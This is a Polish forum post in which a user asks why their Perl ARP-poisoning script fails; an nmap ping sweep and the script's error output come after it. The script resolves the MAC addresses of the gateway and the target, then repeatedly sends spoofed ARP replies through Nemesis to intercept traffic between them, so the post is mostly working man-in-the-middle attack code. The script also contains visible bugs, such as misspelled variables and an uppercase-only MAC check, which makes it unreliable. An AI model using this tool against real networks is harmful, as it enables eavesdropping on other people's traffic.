Pokaż wyniki 1 do 8 z 8

Temat: 'ARP Poisoning' problem

Threaded View

Previous Post Previous Post   Next Post Next Post
  1. #1

    Exclamation 'ARP Poisoning' problem

    Mam problem z atakiem APR Poisoning.

    Mam taki programik ktory na podstwaie podanych adresow IP (bramy, cely) oraz interwalu czasowego z interfejsem znajudje adresu MAC obu adresow IP. Potem uzywa programu Nemesis aby 'wstrzyknac' pakiety do sieci.

    Program pokazany ponizej:

    Kod:
    #!/usr/bin/perl
    
    $gateway = shift;
    $target = shift;
    $time = shift;
    $device = shift;
    
    $i = 1;
    $SIG{INT} = \&quit;
    
    # Sprawdz poprawnosc argumentow przed startem
    if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
    {
    	die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
    }
    
    if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
    {
    	die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
    }
    
    if ($time=~/^$/)
    {
    	$time = 10;
    	print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
    }
    
    if ($time!~/^[0-9]+$/)
    {
    	die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
    }
    
    if ($device=~/^$/)
    {
    	$device = "wlan0";
    	print("[-] Interfejs nieznany, przyjumje waln0.\n");
    }
    
    # Odczytaj adresy MAC bramy i celu
    print("[+] Wysylam zadanie echa do $gateway.\n");
    system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
    print("[+] Wysylam zadanie echa do $target.\n");
    system("ping -c 1 -w 1 $target 2>&1 > /dev/null");
    
    # Pakiety wyslano, mozemy odczytac adresy MAC
    print "[+] Odczytuje adresy MAC z pamieci podrecznej ARP.\n";
    $gateway_mac = qx[arp -na $gateway];
    $gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);
    
    $target_mac = qx[arp -na $target];
    $target_mac = substr($target_mac, index($target_mac, ":")-2, 17);
    
    # Sprawdz czy odczytane adresy MAC sa poprawne
    if ($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
    {
    	die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
    }
    
    if ($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
    {
    	die("[!] Nie moglem odczytac adresu MAC dla $target.");
    }
    
    # Odczytaj wlasny adres IP oraz MAC
    print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystujac ifconfig.\n";
    @ifconf = split(" ", qx[ifconfig $device]);
    $you = substr(" ", qx[ifconfig $device]);
    $you = substr(@ifconf[6],5);
    $you_mac = $ifconf[4];
    
    print "[+] Interwal wysylania pakietow to $time sekund.\n\n";
    
    print "-> Ty:	$you [$you_mac]\n";
    print "-> Cel:	$target [$target_mac]\n";
    print "-> Brama:	$gateway [$gateway_mac]\n\n";
    
    # Wysylamy pakiety ARP
    while($i)
    {
    	print("[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n");
    	system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you-mac -M $target-mac 2>&1 > /dev/null");
    	print("[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n");
    	system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");
    
    	sleep $time;
    }
    
    # Wcisnieto ctrl+c, przywracamy oryginalne ustawiena
    sub quit
    {
    	$i = 0;
    	print("[-] Koniec programu. Przywracanie oryginalnych ustawien ARP.\n");
    	system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
    	system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H target_mac -M $gateway_mac 2>&1 > /dev/null");
    }
    Program jest napisany w Perl.

    Uzywam komendy

    Kod:
    nmap -sP 192.168.1.*
    Ona pokazuje mi ze znalezione zostaly trzy uzadzenia w sieci:

    Kod:
    Starting Nmap 5.21 ( http://nmap.org ) at 2011-12-10 11:22 GMT
    Nmap scan report for 192.168.1.1
    Host is up (0.00049s latency).
    MAC Address: 00:24:D2:27:37:84 (Askey Computer)
    Nmap scan report for 192.168.1.3
    Host is up (0.0029s latency).
    MAC Address: C4:17:FE:55:CE:9C (Unknown)
    Nmap scan report for 192.168.1.4
    Host is up.
    Nmap done: 256 IP addresses (3 hosts up) scanned in 5.60 seconds
    Wiec tak. Ja jestem pod adresem 192.168.1.4. Brama to 192.168.1.1. A cel to 192.168.1.3.

    Teraz wprowadzam te dane to programu.

    Kod:
    ./arp.pl 192.168.1.1 192.168.1.3
    Potem dostaje taki output:

    Kod:
    [-] Interwal nieznany, przyjmuje 10 sekund.
    [-] Interfejs nieznany, przyjumje waln0.
    [+] Wysylam zadanie echa do 192.168.1.1.
    [+] Wysylam zadanie echa do 192.168.1.3.
    [+] Odczytuje adresy MAC z pamieci podrecznej ARP.
    [!] Nie moglem odczytac adresu MAC dla 192.168.1.1. at ./arp.pl line 56.
    Wiec program uwaza ze adres MAC jest niepoprawny dla bramy a jesli usune veryfikacje adresu MAC dla bramy to ten sam problem dostaje dla celu. Moze mi ktos powiedziec co robie nie tak?

    Z gory dzieki. :]
    Ostatnio edytowane przez Kalnor : 12-10-2011 - 12:40

Tagi

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj